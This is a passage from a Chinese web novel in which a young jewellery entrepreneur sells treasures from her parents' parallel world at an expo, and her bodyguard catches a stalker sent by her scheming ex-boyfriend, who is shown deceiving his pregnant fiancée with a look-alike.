袁淼转过来头,替她说话的居然是周晟。 曾嘉宝看到周晟,愣了愣后,小声喊道:“周晟哥哥……” 袁淼诧异。 曾嘉宝和周晟,认识? 周晟却笑着对袁淼:“袁总,刚才发生的事情,我们都看到了,可以帮你作证。” 袁淼知道事情即便闹大,自己也占了理,但听到周晟的话,心里还是很感激。 “谢谢!” 周围围了不少人,警察还没来,她又招呼道:“大家可以进来看看,我们博云珠宝货真价实,童叟无欺!绝不会售卖虚假商品!我在这里承诺,但凡在我们店里发现一件赝品,我会双倍赔偿!” 周围的人有许多都心动了。长期浸在珠宝圈的人都知道如今的造假技术炉火纯青,没有一双火眼金睛,很难认出真假,即便是认出来也多半只能捏着鼻子认栽。 但这家名不经传的珠宝店却说他们没有赝品,并且承诺发现就会双倍赔偿。这可是一笔稳赚不赔的买卖! 许多人都进去了。岳然和沈若君忙着招待起来。 警察来了。但徐清阳和曾嘉宝不知道什么时候已经离开了。袁淼还是把事情经过告诉了警察,周晟也在旁边说了几句。 警察离开后,袁淼又跟周晟道谢。 周晟笑着说:“袁小姐既然这么感动,干脆请我吃顿饭吧?” 袁淼失笑,看了看时间。 “能请到周总共进晚餐,是我的荣幸。” 两人一顿饭吃完出来,天已经黑了。周晟谈兴正浓,袁淼也没有让沈若君过来接人,和周晟走了一段路。 周晟笑着说:“袁小姐怎么不问我是不是认识曾小姐?” 袁淼低头笑了笑。她的确好奇这个,但她与周晟还没到打听人家隐私的地步。 不过,周晟既然提起来了,她顺着说:“你们应该认识吧?” 周晟点头:“大福源跟辉华矿业有来往,有段时间曾总想撮合我和嘉宝,但我们并不合适。” 袁淼愣了愣。这关系可不浅,但看今天的情况,周晟一点都没有维护曾嘉宝。这是曾家那边一厢情愿吗? 这个猜想让袁淼心情愉悦。曾嘉宝屡次针对她,看到她吃瘪,她很高兴。 周晟往后面看了看后,突然伸手过来揽住了袁淼的肩膀。 袁淼诧异,正要躲开。周晟低声说:“后面有辆车一直跟着我们。” 袁淼心里一惊,忍不住要回头。周晟制止了她:“别回头看!我们就当做什么都不知道。” 袁淼听进了。周晟的没错。先不论真假,这段路有点荒,如果真被人盯上,那就很危险。 两人边说边走,脚步快了许多。转到主干道上后,灯火和人流都多了起来。袁淼再往后看,什么都没有了。 周晟说:“已经走了。”笑着,“也许是我看错了。” 袁淼却不这么认为,一路上过来,她偷偷往后面看了几次,确实有辆黑车跟了很久。 她心里有事,不想走路了,跟周晟告别。并且拦了一辆车。 周晟问:“你住哪里?” 袁淼说了地方。 周晟笑了,“我在那边也有套房子。” 刚好,出租车来了。袁淼便邀周晟一起上车。 周晟先到,下车前做了个手势:“到了给我打个电话。” 他们中途已经加上好友。 袁淼到家后,是沈若君开的门,她已经等了一会。 得知袁淼已经吃过饭,沈若君便把袁淼离开后博云珠宝的销售情况做了汇报。 这天虽然有个不太愉快的小插曲,销售倒是相当的不错。全天销售额过了八位数。 袁淼的心情立刻好转了。时间不早了,她让沈若君不要回去了,楼上有客房。 沈若君顿了顿,同意了。 她离开后,袁淼脸上的笑不见了。她觉得自己是不是应该找个保镖了? 不管今天的那辆的黑车是不是在跟踪她,她现在的身价已经不菲,车自己在开,前不久才招了好友做助理。沈若君做事虽然很认真,也很努力,但她开车不太行,方向感太差。 如果她真的被人盯上了,那就很危险。自己住的房子里加保姆和好友,也就三个女人。但光地下室的资产就至少已经超了数亿。更别说躺在银行卡里的钱了。 以前她不显山不露水,但现在知道她开了家珠宝店的人不少,珠宝一行,众所周知,从业的不会是穷人,而博云珠宝这几天更是声名鹊起。 父母的话有道理,她可以换个更大一点房子,高档小区的治安一般不会差,顶级的小区的只会更好。 请一两个保镖和再加一两个佣人,她完全负担得起。 想清楚后,第二天,袁淼就让沈若君去物色房子了,咨询过楚萧后,她就在自己前不久加的几个群里挂出了招聘保镖的告示。 第67章 第67章 潜入 这几个群是在楚萧的推荐之下加入的, 里面有很多军事方面信息,人员卧虎藏龙。袁淼将招聘信息挂出来没多久,就有人联系她了。她跟对方约好了面试的时间和地点。 珠宝展的重头戏珍宝评比也在这一天开始。袁淼拿出的是一株红珊瑚, 重达一百多克, 高约一米, 在灯光的映照下流光溢彩, 鲜艳欲滴,造型酷似发财树, 寓意极好。 展品一经推出,许多人驻足观看。 “这是红珊瑚吧?好漂亮!” “这么大的红珊瑚!我还是第一次见到!” “我听说西雅拍卖行拍过一株更大的红珊瑚,高达一米四五呢!” “我也听说过,那株红珊瑚最终拍出近两亿的高价!这株虽然不如那株大, 但造型比那株好看多了!整个一红红火火的发财树!谁看了不喜欢?这株的最终出价肯定不会低!” 袁淼就在旁边。 璎珞事件后,她又另请了专家再次给这次准备拿出的臻品进行了重新估价, 上次宋颜看过的白玉马和步摇都比先前的估价高了不少。 这株红珊瑚专家十分看好,给出的估价过亿。全球红珊瑚最好的要属阿卡牛血红珊瑚,每克价格高达二万元以上。 袁淼的这株红珊瑚当然不是阿卡牛血红珊瑚,但其色泽和品质并不逊色阿卡牛血红珊瑚。加上完美造型和巨大, 专家认为会受到热烈追捧。 不过,袁淼心里还是有些忐忑。这是她第一次拿出红珊瑚。父母传过来的臻品中差不多品质的红珊瑚有好几株。这株算是其中中等规模。 珍宝评比采取的是盲标,参与的人既看不到珍宝的原有拥有者,也不知道其他人的出价。只有最终揭标时,才知道卖价。并且因此评选出珍宝的名次。 在旁边观察了一会, 袁淼发现红珊瑚旁边观看的人虽然不少, 赞誉也多,但真正参与投标的人并不多。 她心里有些凉,好东西她不想贱卖, 干脆自己投了一个标,参考了专家的意见,给出一亿两千万的标价。 标投进后,袁淼正要离开,看到了周晟。他跟周群在一起。袁淼不好上前打搅,便以微笑打了招呼。 周群顺着周晟的目光看到了袁淼,愣了愣。他记得这个小姑娘,上次跟宋颜在一起。 “周总?” 有人过来打招呼了。周群连忙回应。说起这次的珠宝展。来人笑呵呵问:“大福源这次也参加了评选吧?” 周群哈哈笑着,“凑个热闹!” “大福源拿出的好东西,那是奔着第一去的,我们有眼福喽!” 说话的人大腹便便,扫过展柜中那几样罕见的珍宝,猜测其中哪件是大福源所出。 他旁边高瘦男子皮笑肉不笑道:“台上那株红珊瑚就是大福源的吧?” 周群回头看了一眼,很快掩去了眸中的火热:“那株红珊瑚属实罕见,曾总要问来历,应该问主办方啊。” 盲标的臻品,众所周知不会透露买方卖方。若是初来乍到,贸然询问,并没有什么。但圈内人这么询问,就显得有些冒失了。 “这么大一株红珊瑚,实属罕见!这次的评比不说博得头筹,前三一准没问题!” 周群点头附和:“确实不错!” 色正!造型完美!他今天就是为了这个标过来的。 又闲说了几句,周群带着周晟离开了。 转身走开没多远,周群的脸色有些冷了。 “我听说前天你跟曾辉华的闺女闹了些不愉快?” 周晟连忙说:“一点小事……” 他把曾嘉宝到博云珠宝找茬的经过说了一遍。 “博云珠宝?”周群想了想,没印象。 “是今年新加入的同行,目前只有网店在销售,以珠宝和古风首饰为主。她家的珠宝品质不错……” 周晟的话还没说完,就被周群打断了:“辉华矿业毕竟是我们大福源的供货商之一,这件事情你没有做好!” 周晟不吭声了。 周群又说:“年轻人以事业为重!你们要向宋颜看齐!” 周晟顿了顿。 “博云珠宝的老板就是上次爷爷见过的,跟宋颜在一起的那位袁小姐。” 周群诧异看向周晟。 周晟又说:“她家的线下实体店马上要开了,选址就在中央街。” 寸土寸金的中央街,一年的门店租金并不是小数。这是其一,其二便是,不是有钱就一定能拿下。 周群若有所思。 “老唐查清楚了,她是哪家的千金吗?” 周晟摇头,奇怪的地方就在这里,袁淼的过往并不难查,是今年才开始涉足珠宝行业,一出手就十分不凡。 “年轻人多来往,多交流,多个朋友,多条路啊。” 周群语重心长。珠宝圈内水深,没有一定家底很难玩转,许多更是沉浸其中百年。这些巨无霸平时不显山不露水,实则错综复杂,能量极大。 大福源虽然在国内排得上好,但跟这些巨无霸相比,不值一提。 周晟应下了,回头看了一眼,袁淼已经离开了。 袁淼并不知道她又被人议论了一番。转了一圈后离开了,第三天下午,珠宝评选最激动人心的时刻到了。 主持人上台宣布了参与评选的臻品名次和投中的价格。 第15号臻品红珊瑚摆件被人以一亿六千八百万的高价标中,获得臻品评选的第二名。 第一名则被一尊青铜兽首以超过两亿的高价揽中。 周围不少人觉得遗憾。他们更看好红珊瑚摆件,觉得够大,寓意又好。 但珠宝展的臻品评选规则就是按照价格高低进行名次排序。 红珊瑚摆件虽然受众更多,但价格确实不如青铜兽首。 袁淼倒是很高兴,红珊瑚的行情超过了她的预期,只这么一株她就得到了一亿多,差不多的她还有好几株呢。 知道了行情,下次就知道怎么做了。 回家后,她就把红珊瑚拍卖的结果告诉了袁博文和谢云溪。 袁博文和谢云溪都没有想到红珊瑚的行情居然会这么好。 袁淼看了看账。这次珠宝展已近尾声,她已经入账了数亿。明天还有一场拍卖,她拿出的是一个重达数千克的春带彩玻璃种明料,保守估计至少过亿。 “妈,我今天看到一串项链,可漂亮了!” 袁淼拿出在珠宝展会上买到一串玻璃种翡翠钻石项链传给了谢云溪。 谢云溪笑得合不拢嘴:“你给我买什么东西?这些东西我又不缺!” “不一样的。” 袁淼一直觉得上次给谢云溪的礼物过于敷衍,这串项链是她花费近两亿所购。 “现代的工艺与你们那边的工艺区别很大的。” 袁淼催促谢云溪佩戴试试。袁博文笑呵呵帮谢云溪佩戴好。娇艳欲滴的翠绿被一颗颗晶莹璀璨的钻石环绕着,映衬的人比花娇,即便是随便往脖子一挂,也显得雍容华贵,美轮美奂。 “嗯,好看!”袁博文点评。 谢云溪心里美滋滋:“多少钱?” “一亿多。” 谢云溪怀疑听错了,连忙要取下来。 袁博文和袁淼马上阻止。 “挺好看的!” 袁博文笑着说:“是很好看!咱们现在不缺钱!只要喜欢,就买!” 谢云溪嗔道:“瞧你这话说的,咱们以前过的日子,你忘了吗?” 袁博文陪着笑附和。 以前的他们一个老师,一个医生,万万不敢想有一天会认为上亿不过如此。 袁淼连忙打岔:“你们那边今天还好吗?” 谢云溪点头:“关正的伤大好了,你爸已经把手头上的事情交了些出去。” 袁淼笑了,她对关正印象不错,他既然伤好,父亲就能轻松许多。 与袁淼沟通完后,谢云溪把脖子上的项链取了下来。 袁博文道:“取下来干什么?你戴着挺好。” 谢云溪瞟了袁博文一眼:“戴着这个,我什么事都不做了吗?” 袁博文揽着谢云溪坐下:“这不是还有我吗?” 他以前是没时间,现在有了。手头上的事情大半交了出来,家里的事情就该操心起来了。 次日,袁博文和谢云溪就来到了谢记铺子,如今谢记名下有粮行、布庄、当铺等四家铺子。 谢记粮行最大,如今已是四个门面相连,经营的范围也广,除了常规的米粮销售以外,还有蔬菜水果等。现在有多了干净水和过滤壶。 净水设备用上后,晋州的水源危机算是化解了,按照人头领取的干净水完全能满足日常食用,另外还有个别水井的水也可以使用。 现在泗水河也没问题了。时间长了,河水里的毒也被分解的差不多了。 但是,每天排队领水的人仍然不少。属实因为河水井水和领取的水区别明显。 肉眼就能看出,烧开后一个有水垢,一个没有。口感上也有区别,领取的水口感更好。 经过宣传,现在晋州城的人都知道不能直接饮用生水,领取的水是经过了过滤和消毒的。 所谓过滤,就是过掉水里的毒和其他不好的东西。 自打谢记粮行的过滤壶面世后,就受到追捧,一两银子一个过滤壶,另外还配送了两个过滤芯,听说能用好几个月! 这个价不贵,差不多的人家都能拿出来。进口的水攸关生死。第一批过滤壶因此很快就销售一空。如今算是谢记粮行的招牌。 当铺的形势也很好,如今年月,想要活下去已经很难,金银首饰之类的奢侈品毕竟是身外之物,来典当的不少。死当活当都有,谢记当铺童叟无欺。 死当的东西,有一些被谢云溪传给了袁淼,个别更是在这次的珠宝展中收获不小,几乎撑起了博云珠宝的大半天。 现在仅仅只有网店在销售,收益就已经相当可观了,要不了多久,珠宝店实体店开张,到时候收益绝对不低。货源就要仰仗这边的当铺了。 第68章 第 68 章 意外 谢记布庄的收益是几个铺子中最差的。 但也不是小数。 现代的布料品种多, 价格低廉,即便谢记布庄的卖价定的并不高,但两边世界的差价悬殊太大。 而吃穿毕竟是日常, 晋州如今还开着布庄没几家了。 还没看完账本, 关正的亲兵找了过来。 袁博文以为又出了变故, 连忙起身。 亲兵又道:“守备大人让您带上商副将和天凤姑娘!” 袁博文不由得看向谢云溪。 谢云溪也丈二摸不到头脑。 关正要见商泽倒是好想, 但是要见贺天凤? 谢云溪点头。 袁博文起身:“你早些回去,铺子上的事情, 我改天再来看。” “嗯!” 袁博文等人走后,谢云溪也回了府邸。事出突然,她心里忐忑,等到天黑了, 袁博文才回来,但没有看到商泽和贺天凤。 “天凤呢?她怎么没有同你一起回来?” “她去了码头那边宅子, 今日晚上不过来了。” “出了什么事吗?” 袁博文神态轻松:“是好事。威远镖局的人找过来了。” 谢云溪诧异极了。 “商远的师兄贺威带着两个徒弟昨日夜里从结了冰的泗水河摸了过来……” 袁博文也没想到这个时候居然会有人不顾艰险找到晋州城来。 他带着商泽和贺天凤来到军营,却直接被人领到了巡防营大牢。 看到牢中关押的人时,他傻了眼。但商泽和贺天凤却一眼就认出来,正是威远镖局的掌门贺威和两位同门师兄弟。 “城外不是被围住了, 他们怎么进来的?”谢云溪问完,突然想到了这几天的天气。 北地的冬天来得早,也比南边的要长,通常九/十月份就会下雪,一直到三四月份天气才会转暖。 也因此大江大河也会结冰。 冰上走人并不是稀奇事儿。 事情确实如谢云溪所想。 威远镖局的掌门贺威原本带着镖局的人手在南边走镖, 商州地动的消息传开后, 他们匆匆交割了任务往北地赶,却在半途中听闻了北凉挥军南下,郴州屠城等消息。 到了泗阳关, 遇到了熟人,才知道师弟商远和女儿贺天凤以及商泽都还活着,跟在晋州军中提携袁博文袁大人身边。 于是,他们就找到晋州来了。 但晋州被围,他们一直找不到机会,直到近来大雪,泗水河结冰,他们才找到机会,趁夜里城外北凉守兵懈怠,踏冰过河而来。 但是巡防营有望远镜在手,早就把他们的行踪看在眼里,人一过河,便被拿住了。 谢云溪听完经过,感慨不已:“贺掌门这一趟,不容易啊!” “嗯!”袁博文赞同。 贺威等人这一趟寻过来,确实不容易。要不是天寒地冻,泗水河结冰,他们也无法突破晋州城外的北凉守军。这一次,他们也带来了外面的消息。 如今的晋州算是北地的一座孤城。自北凉挥军南下已过数月,北地十六州大半,除了位于北地腹地的晋州,仅边缘的业州和崇山峻岭中的鄞州汀州尚未沦陷。 北凉大军的主力已经到了泗阳关下,朝廷集结了大军,由镇北王霍云泽率领,正与北凉大军对峙。 “他们现在都在那边宅子里吗?要不要派个人过去照应?” 码头那边的宅子一直都是商远在住,自过滤器运到后,现代传过来的东西都安置在这边的宅子里了。 “我都安排好了。” “明天,我打算请他们吃顿饭,算是给他们接风洗尘。” “好,我让厨房去准备。” 谢云溪叫来念绘,让她给厨房传话,准备明日宴请事宜。 “这件事情,关正怎么说?” 袁博文沉默片刻。 “他准备联系霍云泽。” 谢云溪愣了愣。 按说,有了外面的消息,是该积极联系,但袁博文的表情告诉她,事情没那么简单。 “霍云泽,这人怎么样?” 袁博文摇头。他不了解。毕竟才入官场。只知道他位高权重,镇守北疆多年,有一侄女后宫为妃。 “关正跟他打过交道吗?” 袁博文依旧摇头。他问过关正同样的问题。 关正虽世家出身,根底却在岭南一带,从未与霍云泽打过交道。 他对关正联系霍云泽也并不看好。 晋州封城之前,有许多人离开,连贺威都知道晋州尚未沦陷,千里迢迢不顾艰辛险恶找了过来,霍云泽身为泗阳关主官,不可能不知道。 但这么久了,他们一直不管不顾。 诚然,其中或许有别的考量。但到底是一城百姓,数万人生死,哪怕传个信都让人好想。 但不管不顾!袁博文就是不爽。他不看好。 不过,当着关正的面,他并没有多说。 谢云溪叹了口气:“可是不与外面联系,晋州还能撑多久?” 袁博文沉默了。与女儿袁淼联系上后,让他的勇气倍增。他觉得有现代世界的支持,晋州撑上一年半载不成问题。 但是顾虑也多,毕竟现代世界与这里几乎是断层,许多物品的来历无法说清楚。 小范围倒还好,关正很给力,从不质疑和猜忌,但其他人就未必了。 “别想了,咱们走一步,看一步吧。” 袁博文宽慰说。 次日,袁府宴请威远镖局众人。谢云溪也出来了。贺威看到她,连忙过来行礼。 谢云溪赶紧将人搀扶起来:“贺掌门快请起!” 贺威虽年过而立,须发皆白,却精神抖擞:“多谢袁大人和夫人,两位的大恩,我贺威铭记在心!” 谢云溪笑着:“贺掌门言重了!要不是有商师傅他们的帮忙,我们也到不了晋州!” 贺威摆手,他已经知道商远等人这一路是怎么过来的,说句不客气的话,要是没有遇到袁氏夫妇,自己的师弟和女儿等人不知道死了多少回了。 北地如今狼烟四起,民不聊生,丢了性命的,不知道有多少。他们属实运气好。 “大人和夫人日后有事,只管吩咐,我贺威赴汤蹈火在所不辞!” 袁博文笑着招呼:“贺师傅快别这么说!你们能来,也是我们的福气。在这里就别客气了,只管当自家一样!” 他邀请众人入席。 一顿饭热闹将完,袁博文问:“你们以后有什么打算?” 贺威和商远对视一眼。 商泽迫不及待说:“我自是跟着大人,大人到哪儿,我就到哪儿!” “我也是!”贺天凤也连忙说道。 袁博文心里一喜。如今的商泽算是他的左膀右臂,一旦离开,着实不舍。 “你们想清楚了吗?晋州的局势,我不说,你们也明白。如今留下,可不是明智的决定。” 威远镖局的人既然已经找过来了,他们不好再将人强行留在身边。虽然不舍得。但商泽与贺天凤当初签下就是活契。再不舍得,也得放手。 谢云溪已经把商泽和贺天凤的契书拿出来了,并且打算给点银钱。好聚好散。 商泽和贺天凤连忙点头。 贺威说:“袁大人,我与师弟商量过了,他们都打算继续跟着大人和夫人,日后还请多您担待包涵!” 袁博文笑了:“贺掌门客气了,他们能留下,我很高兴。但是,我还是希望你们想清楚。” 商远微笑着:“大人莫不是嫌弃我们了?” 袁博文失笑。心里感动。话已至此,再劝就不合适了。他举杯,一切尽在不言中。 饭后,袁博文留下了贺威和商远,把关正的打算告诉了他们。 贺威郑重道:“大人放心!我等一定会把信送到!” 镖局的人重诺,袁博文知道贺威既然答应了,这事应该问题不大了。他看向商远:“到时候,让商泽跟贺掌门一起去。” 到底干系着一城百姓的生死,袁博文不敢大意。贺威毕竟是江湖中人,对官场和军中的事情不一定了解,但商泽在他身边多日,素来能干,有他跟着一起去,事情更稳妥些。 商远缓缓点头。 第二天,袁博文就把贺威带到了关正跟前。 * 珠宝展圆满完成后,袁淼找了个时间请博云珠宝的员工们吃了顿饭。回去的时候,天已经黑了。 她心情很好,喝了点酒,人有些微醺,正闭目养神。 新近入职的保镖兼司机张青云突然说道:“袁总,后面有辆车跟着我们。” 袁淼的酒意一下子没了,回头看了看,果然有辆黑车不远不近跟着。 沈若君也发现了,不由得紧张起来。 袁淼定了定神:“张师傅有没有把握拿下那辆车里的人?” 她想知道到底是谁一直在跟踪她。 “没问题!”张青云回答。 话音刚落他就将车拐进了旁边的小道,车速也加快了。 但没过多久,后面的车又跟了上来。 袁淼见张青云淡定自若,把悬起的心放了下来。 张青云是她新找保镖之一,曾获得散打冠军,另一个周云是名退伍老兵,两人身手都不错。 小道渐渐变得逼仄,但张青云车速不改,很快驶出了小道,拐进了一边的林子里。就在袁淼疑惑,他想干什么时,突然发现先前跟着他们的黑车就在不远处。大约是不熟悉路况,正慢悠悠开着。 那辆黑车也发现了他们,明显慌了,加快了车速。 第69章 第69章 替身 但很显然张青云的驾驶技术更好, 对这里也很熟悉,很快就超过了他们,在路的尽头停了下来, 拦住了黑车的去路。 黑车想要掉头, 不仅路况不容许, 时间上也来不及了。 “袁总, 你们在车上等我!” 张青云说完后下了车,松了松拳脚, 没等黑车上的人反应过来,一拳打碎了黑车的车窗,将里面的人揪了出来,拖到旁边一顿去。 车身拦住了视线, 在车上的袁淼只听到惨叫和求饶声,但她没有下车。 一会后, 张青云过来了。 “袁总,问清楚了,他是辉华矿业总经理徐清阳的人!” 徐清阳?! 沈若君诧异看向袁淼。 袁淼的脸上一点表情都没有。 她一直知道徐清阳是个不达目的不罢休的人。但没想到他都要当父亲了,还不肯放过她。 她下了车。 跟踪的人已经被张青云打得鼻青脸肿, 绑在了一颗树上。 袁淼居高临下看着。那人缩了缩身体,目光闪躲。袁淼找到了一丝熟悉感。大约不经意曾经见过,只是当时没放在心上。 “问问他,什么时候开始的?徐清阳都知道些什么?” 张青云蹲下身,将那人提将起来, 一拳打下去后问:“说!什么时候开始的?” “九月初, 开始……” 张青云又问具体哪一天。 那人记不太清楚,说了个差不多的时间。 袁淼想了想,时间应该就是她从警局出来的时候。 在警局的时候, 徐清阳帮她找了律师,但她拒绝了。 从警局出来后,她就警惕了起来。在别墅周围和仓库附近都装了监控,这么多天并没有发现异常。徐清阳应该知道不多。 否则,凭他的个性,不会这么平静。 “你对附近是不是很熟?”袁淼问张青云。 张青云点头:“那边有条河,我以前经常过来钓鱼。” “找个人少的地方,把他带上。” 张青云把跟踪的那人塞进了后备箱,带着袁淼和沈若君来到一栋废弃的小房子旁。 袁淼给徐清阳打了电话。等了一会,就看到一辆豪车过来了。 徐清阳从车里出来,看到了袁淼,连忙过来。 “站住!”袁淼皱着眉头,“徐清阳,你到底想干什么?” 徐清阳看了看袁淼旁边的张青云和沈若君:“淼淼,我们找个安静的地方,你想知道什么,我都告诉你!” 他言语温柔,神态真诚,皮相又极好。袁淼静静看着,这样的徐清阳她并不陌生,以前自己生气的时候,他哄人,一如当下。 但时过境迁,结束了就是结束了。 “没有必要!徐清阳,我今天叫你过来,不是为了叙旧!” “是警告你——如果再有下次,我绝不会手软!” 袁淼毫不客气。 自己的秘密非同小可,干系着父母的安危,虽然上面已经知道,但人心难测,徐清阳并不是一个正人君子。 “淼淼,你听我说……” 袁淼示意他打住。 “听说你马上要结婚了,你应该不愿意你的未婚妻知道你做的这些事情吧?” 徐清阳顿了顿。 袁淼给了张青云一个眼色,转身走了。 徐清阳连忙要追。被张青云拦了下来。他身姿挺拔,肌肉结实,仅一只手就让徐清阳寸步难进 “徐总,再有下次,这东西我们就直接送警局了!” 张青云笑着,眼眸却冰冷,丢下了一个东西。转身也走了。 徐清阳捡起来,像是个u盘。他从车上拿出了笔记本电脑,连接上后,发现里面有一段音频。 “……是辉华矿业的徐总让我这么干的……” 清晰且惊慌的声音传出,徐清阳没有听完就按了停止,脸色铁青,狠狠捶了捶方向盘。 这里面的声音,他并不陌生。是他的人。 真tmd的废物,一点小事都做不好!查了这么久,一点有用的消息都没有! 现在,还被发现了! 袁淼的行为一再出乎他的意料,突然有钱,突然买别墅,突然被抓,又莫名其妙被放,现在居然开了家贸易公司和珠宝店! 她哪儿来的钱和门路? 这一切诡异所思,他想破脑袋也不知道原因,只有让人跟着。 却一无所获。 刚才那个男人对她言听计从,俨然一副忠心手的样子。 那可不是一般人!绝对是个练家子! 保镖吗? 她居然找了保镖! 她果然有秘密! 是靠上一棵参天大树吗? 否则一切说不通! 一个年轻漂亮的女孩凭什么能攀上参天大树? 她能拿出东西只有自己! 徐清阳越想越焦躁。 但他做的这些,确实不能让曾嘉宝知道,他们的婚期已经定了,就在下周,他爸妈都已经过来了。 自打曾嘉宝怀孕,曾辉华就对他重视起来,只要他沉住气,曾家一切都会是他的! 到那时候…… 徐清阳扯了扯领带,深吸了一口气,冷静下来后,拨打电话。 铃声响起。 有点奇怪。 对方像是就在不远处。 徐清阳拿开手机,果然听到了铃声。他顺着声音来到一栋破旧的老房子跟前。 门一推就开,手机的铃声更加清晰了。 就在房间的地上。 房间不远处正中间,一个鼻青脸肿的男人被绑在椅子上。 他看到了徐清阳,疯狂挣扎了起来。 * 徐清阳到家时,天已经黑了。 徐母舒心琴迎了上来:“怎么这么晚才回来?吃过了吗?” 徐清阳抬眸看到了客厅中站起来的父亲徐海山。他大病初愈,脸色焦黄,人干瘦。一眼看去,像是只剩了皮包骨。 “吃过了,嘉宝呢?” 舒心琴抬头看向楼上。 徐清阳知道了曾嘉宝所在。他心情不好,清楚显露在脸上。 舒心琴小心翼翼说:“嘉宝有点不高兴……” 徐清阳很不耐烦:“她又怎么了?” “今天吃饭的时候,我们说起了搬家的事情,你爸身体不好,我们那个地方,你也是知道,小地方的医院,医生水平实在太差,我就想着,你结婚了,我和你爸干脆搬过来跟你们一起住,魔都到底是大城市,医生水平高,我们过来还能帮助照顾嘉宝和孩子……” “妈!” 舒心琴话没说完,就被徐清阳打断了。 “这不可能!” 他斩钉截铁。 舒心琴脸色有些不好了:“怎么不可以?这儿房子这么大,楼上楼下七八个房子,我和你爸也就占一间而已!” 徐清阳觉得头要炸开了,好不容易压住了:“这房子不是我的!” “我知道啊,可你跟嘉宝结了婚,她的不就是你的吗?” 徐清阳揉了揉头,瞟见保姆已经在探头,一些话不便宣之于口,他简单粗暴道:“这件事情以后不要再说!婚礼办完后,你们就回去吧!” 舒心琴愣住了。 儿子都成了有钱人家的女婿,大公司的总经理,做父母的还要回去住小小的鸽子笼吗? 这没道理啊! 但徐清阳已经上楼了。舒心琴还想追过去说两句,看到老伴徐海山巍巍颤颤的样子,连忙过去帮着抚胸安慰:“海山,你没事吧?你别着急!” 徐清阳听到动静,站在楼梯上居高临下看了一眼后,继续往上。 徐海山气得不轻:“不孝的东西!” 舒心琴连忙扶着他坐下来。 自己的儿子,品性自知,打定了主意,素来坚决,这事不能硬拗,得从长计议。 “他也有自己的苦衷,你先喝点水。” 水喝完后,舒心琴扶着徐海山进房间。关上了房门,舒心琴的脸色也绷不住垮了下来。 徐海山叹气摇头。 舒心琴知道他在叹什么。儿子一点都不贴心。 “还是淼淼好!” 话出口,她也叹了口气。 袁淼虽然懂事孝顺,但她孤儿一个,没钱没势,一点儿都帮不上忙。 鱼和熊掌总是不可兼得。 徐清阳来到房间门口,眉头皱了皱后,很快散开,轻敲了两下,里面依旧没有动静,他推门而入,接住了迎面砸过来的枕头。 徐清阳笑容出来,挂在脸上,明晃晃耀眼:“怎么啦?又生气了?” 曾嘉宝冷哼一声,背过身。 徐清阳走近,手轻落在曾嘉宝肩上,吻了一下头顶,柔声说:“可不能生气了!你现在是两个人,你这一生气,我儿子也不好受。” 曾嘉宝蓦然转身:“徐清阳,赶紧让你爸妈走!我一天都受不了!” 徐清阳的脸僵了僵,很快又重新上了笑:“好,我已经跟他们说了,婚礼办完,他们就回去!” 曾嘉宝的脸色缓和下来:“我也不是不能容人,实在是他们太过分了!你妈今天居然说,要搬过来跟我们一起住!” “搞错没有?这房子是我的!我连我爸都受不了,他们还想搬进去?真是异想天开!” 徐清阳眼眸里冰冷一闪而过,转瞬眉眼款款,深邃执着,蹲下身,拉起了曾嘉宝的手。 “我知道,这房子是你的!” “我也是你的!任何时候我都站在你这边!” 曾嘉宝噗嗤一下笑出来:“这话可是你说的!你要记住了!” 徐清阳点头。 曾嘉宝得意笑了。 眼前的男人五官深邃分明,相握的大手骨节分明。她突然有些难为情。 “清阳,医生说,我已经过了孕初危险期……” 徐清阳秒懂了曾嘉宝话里的意思,这已经不是第一次了,他也做好了安排。 笑了一下后,他刮了刮女人的鼻子:“我去个澡,你乖乖等我!” “嗯!”曾嘉宝抿嘴笑着点头。 徐清阳起身,一转头,脸上的笑就秒淡了,变得冷漠阴蛰。 来到了洗漱间关上房门后,他拿出了手机。 “你可以上来了。” 电话打完,他打开了水龙头的水,在哗哗声中等了一会,门口就有动静了。 徐清阳从洗漱间出来,看到了门口的男人。 他穿着别墅安保人员的服饰,大檐帽戴在头上,粗粗看去,毫不出奇,但抬起头来,却是一张与自己有八九分相像的脸。 徐清阳居高临下看着男人。这是他为曾嘉宝准备的。原本是洗浴中心的一名员工,与他五六分相像,但现在经过整容调整和练习,如今更像了。 曾嘉宝肚子里的货也是他的。 脏了的女人,他连碰一下都觉得恶心,更别说睡觉了。 里面卧室里一无所知曾嘉宝正随着播放的音乐哼着歌。 徐清阳扬了扬头,示意男人到洗漱间去。 男人垂下眼眸,经过徐清阳旁边,进了洗漱间,看到了一旁叠放的睡衣。 换上后出来。两个几乎一模一样的人面对上对。一个阴蛰冷郁,一个畏缩胆怯。 徐清阳让开身,男人进了卧室。 里面的灯光变得黯淡奢靡,男女欢ai的声音传了出来。 坐在沙发上的徐清阳点上了一根烟,吐出的烟圈淼淼向上,灯火明暗不定照在他脸上,淡漠的脸上,一双眸子却透着无比凶狠。 第70章 第70章 大手笔 袁淼打了一个喷嚏。 谢云溪紧张起来:“你感冒了吗?” 袁淼摇头:“没有, 鼻子有点痒。” 谢云溪松了一口气:“你那边入秋了吧?天气变化大,一定要及时增减衣服。” 袁淼笑了,“放心吧, 我又不是小孩子!” 看到谢云溪不赞同的脸色, 她立刻又改口, “好好好, 我知道啦。” 谢云溪一脸无奈。但天各一方,再担心, 也只能言语提醒。 袁淼赶紧转移话题:“泗阳关那边有消息了吗?” 她也知道了威远镖局的人找到晋州来的事情。 谢云溪摇头:“哪儿那么快!” 这件事情算是悬在如今晋州高层头上的的一口钟,掉下来是死是活,谁也不知道。 不过,他们也没有干等。军中事务她不知道, 府中倒是做了些准备,该收拢的物资已经在收拢了, 护卫和家丁也都操练了起来。 一旦泗阳关来信,必是破局的开始。是冲出重围,还是里应外合一起破局,局势都会发生变化。 从晋州到泗阳关, 寻常时候都要将近十天,更别说如今正处乱世,一路往南,几乎都落入了北凉大军手中。 北凉治下的这些城镇,不说处处掣肘, 自由通行绝对不可能, 即便是行走江湖的老趟子手,也不可能很顺利。 袁淼点头,也心知这事急不得, 好在北凉大军的重心如今都在泗阳关,对重重围住的晋州并没有强打强攻,大约是抱着久困之下,晋州自乱的想法。 这也给了他们喘息的机会。 有谢记铺子的支撑,晋州如今还算平稳。 “淼淼,你跟王所长最近有联系吗?” “有啊!珠宝店的门店选址,就是王所长帮忙敲定的。” 跟特别事务所的王振声所长打过多次交道,袁淼也跟他熟了起来,遇到了难事,也会请他帮忙。 王振声很好说话。 谢云溪犹豫片刻:“淼淼,你问问他,热武/器……方不方便出售?” 